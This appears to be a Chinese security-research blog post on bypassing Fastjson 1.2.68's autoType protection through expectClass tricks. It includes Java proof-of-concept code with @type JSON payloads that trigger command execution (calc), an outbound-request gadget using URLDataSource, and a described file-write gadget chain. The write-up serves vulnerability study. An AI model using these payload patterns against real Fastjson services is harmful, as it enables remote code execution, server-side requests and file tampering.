1. 程式人生 > 實用技巧 >Fastjson1.2.68 繞Autotype的一點總結

Fastjson1.2.68 繞Autotype的一點總結

這篇文章主要總結學習目前網上關於1.2.68下繞過Autotype的一些方法用到的思路。

前置知識:

checkautotype因為是對要進行反序列化的類進行檢測的方法

所以我們只需要讓其返回Class型別的例項即可

一般會有以下幾種情況通過驗證:

1.autoTypeCheckHandlers不為null,通過此種方式來返回class

2.快取mapping中的類:

從一處取的,在二處返回

其中在TypeUtils的addMappings中放入了一些基礎類,也就是預設可以反序列化的相關類

3.不在黑名單,但在白名單之中的類

4.使用了jsonType註解的類

5.@type反序列化時執行了expectclass,指定了期望類

在判斷為True時exceptclass不能為以下幾種型別

並且反序列化的類不能繼承或者實現Classloader、DataSource、RowSet

繞過方法1:

那麼如果沒有開AutoType,並且如果存在expectclass,即使要反序列化的類不在白名單中,也可以進行載入不在黑名單中的某些滿足條件的類

第一種:

通過Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private
String domain; public testfj1268() { super(); } public void setDomain(String domain) { this.domain = domain; } @Override public String getMessage() { try { Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain}); } catch (IOException e) {
return e.getMessage(); } return super.getMessage(); } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"testfj1268\",\n" + " \"domain\": \"calc\"\n" + " }"; JSON.parseObject(a); } }

其中@type第一個類作為clazz(A),二個作為expectClass(B),這種繞過方式是因為Exception.class在parseConfig的mapping中,因此每到checkAutoType時就已經返回了clazz,那麼接著為該類選擇反序列化解析器,匹配到Throwable.class。

接著在反序列化第一個type指定的類時,此時將該類作為exClass

接著就能獲取到要反序列化的類名exClassName傳入checkAutoType,此時傳入的第二個引數為Throable.class也為Exception.class的介面

那麼在checkAutoType中第二個type處的類名將作為要校驗的類名,Throwable將作為期望類

在這一步expectClassFlag置為True,此時只要反序列化的類不在黑名單中,即使不在白名單中,通過下圖就能呼叫TypeUtils.loadClass進行載入

並且又因為有接下來的1處和2處的限制,那麼要找到jndi這種的類還得實現了Throwable介面的,就很難,這也是比較雞肋的一點。

返回clazz後,將通過createException例項化exClass,此時exClass就是返回的第二個type處的類,接著繼續解析json將值放入otherValues,然後setvalue放入ex

此時將通過反射為ex物件賦值,其中method在解析

那麼最終get的呼叫在完成賦值以後,將通過呼叫異常類的所有get方法包括介面以及自身定義的

比如呼叫getMessage時的呼叫棧如下所示:

繞過方法2:

y4er師傅部落格中寫到通過找checkAutoType的呼叫,看哪裡傳入的expectClass不為null,那麼再看其邏輯,那麼下面四個框,只有第二和第四,第四個是繞過點1,那麼第二個繞過點就是點1

那麼根據type指定的類在選擇反序列化解析器時,AutoCloseable類使用的是else分支的javabeanDesearializer

此時函式呼叫棧如下:

那麼因為AutoCloseable不在黑名單中並且其在mapping中,因此就可以返回clazz進行載入,因此通過它就能實現反序列化

比如:

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

為什麼jndi的gadget不好找?因為常見的jndi的gadget都繼承自DataSource 和 RowSet,所以反序列化的類過不了對return clazz的最後的驗證。

淺藍師傅還分享了另一個例子:

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}

這個例子中setDataSource的入口引數需要通過@type來賦值,那麼URL這個類是在白名單中的,所以能夠正常賦值,然而在setDataSource中存在URLDataSource賦值給this.dataSource,那麼這樣賦值是不經過checkAutoType的邏輯的

因為對於JSON.parseObject來說,在呼叫parse解析輸入端json字串為obj後,此時要呼叫一次toJSON轉為JSONObject(此時已經完成了setter的呼叫賦值)

那麼在拿到testfj1這個類的成員變數以後,因此在JSON.toJSON中取得的反序列化的類testfj1的幾個gettter的filed資訊,包括從Throwable繼承的4個getter和自身的getter共5個

那麼此時要放入到JSONObject中,那麼對於其中的每個鍵和值都將put一次,那麼對於其中的value,又要呼叫一次tojson(value)

那麼對於賦值給datasource的URLDataSource而言,也要走一次tojson,因此此時要呼叫URLDataSource的所有getter

那麼根據JavaBeanSerializer中的sortedGetters將迴圈放入map中,一共有五個filed(每個filedinfo都有一個getter與之對應),那麼對應要呼叫其5個get方法獲取其值(用反射來實現)

那麼對於inputStream,要呼叫URLDataSource的getInputStream

那麼在getInputStream中此時將觸發請求

此時的函式呼叫棧如下圖所示:

除了getInputStream,getContentType也能觸發

檔案操作相關gadget:

淺藍師傅的文章中提到找檔案操作相關的gadget的思路:

1.通過set或構造方法指定檔案路徑的outputStream

2.通過set或者構造方法能夠傳入位元組陣列,可以傳入outputStream,並且存在write將傳入的位元組陣列寫入到傳入的outputStream

3.通過set get tostring能夠呼叫flush完成資料寫出

比如:

rmb122(學弟太強了)的例子,主要通過fastjson反序列化呼叫無參建構函式然賦值指定檔案的outputStream,再找能夠傳入這個包含檔案路徑的stream的類,並能夠傳入位元組陣列,然後呼叫write向這個輸出流寫入位元組陣列的,他找的是

java.util.zip.InflaterOutputStream,然後通過最外層的marshalOutputStream來呼叫write完成寫入檔案

在parseobject解析到MarshalOutputStream後要反射通過構造器來例項化得到該類的物件,因此此時走到super(out),out中儲存著inflaterOutputstream用來寫資料

在drain總將呼叫this.out.write來寫資料

而inflater中out就是fileoutstream,儲存輸出路徑

呼叫棧如下圖所示:

參考:

https://b1ue.cn/archives/348.html

https://b1ue.cn/archives/382.html

https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/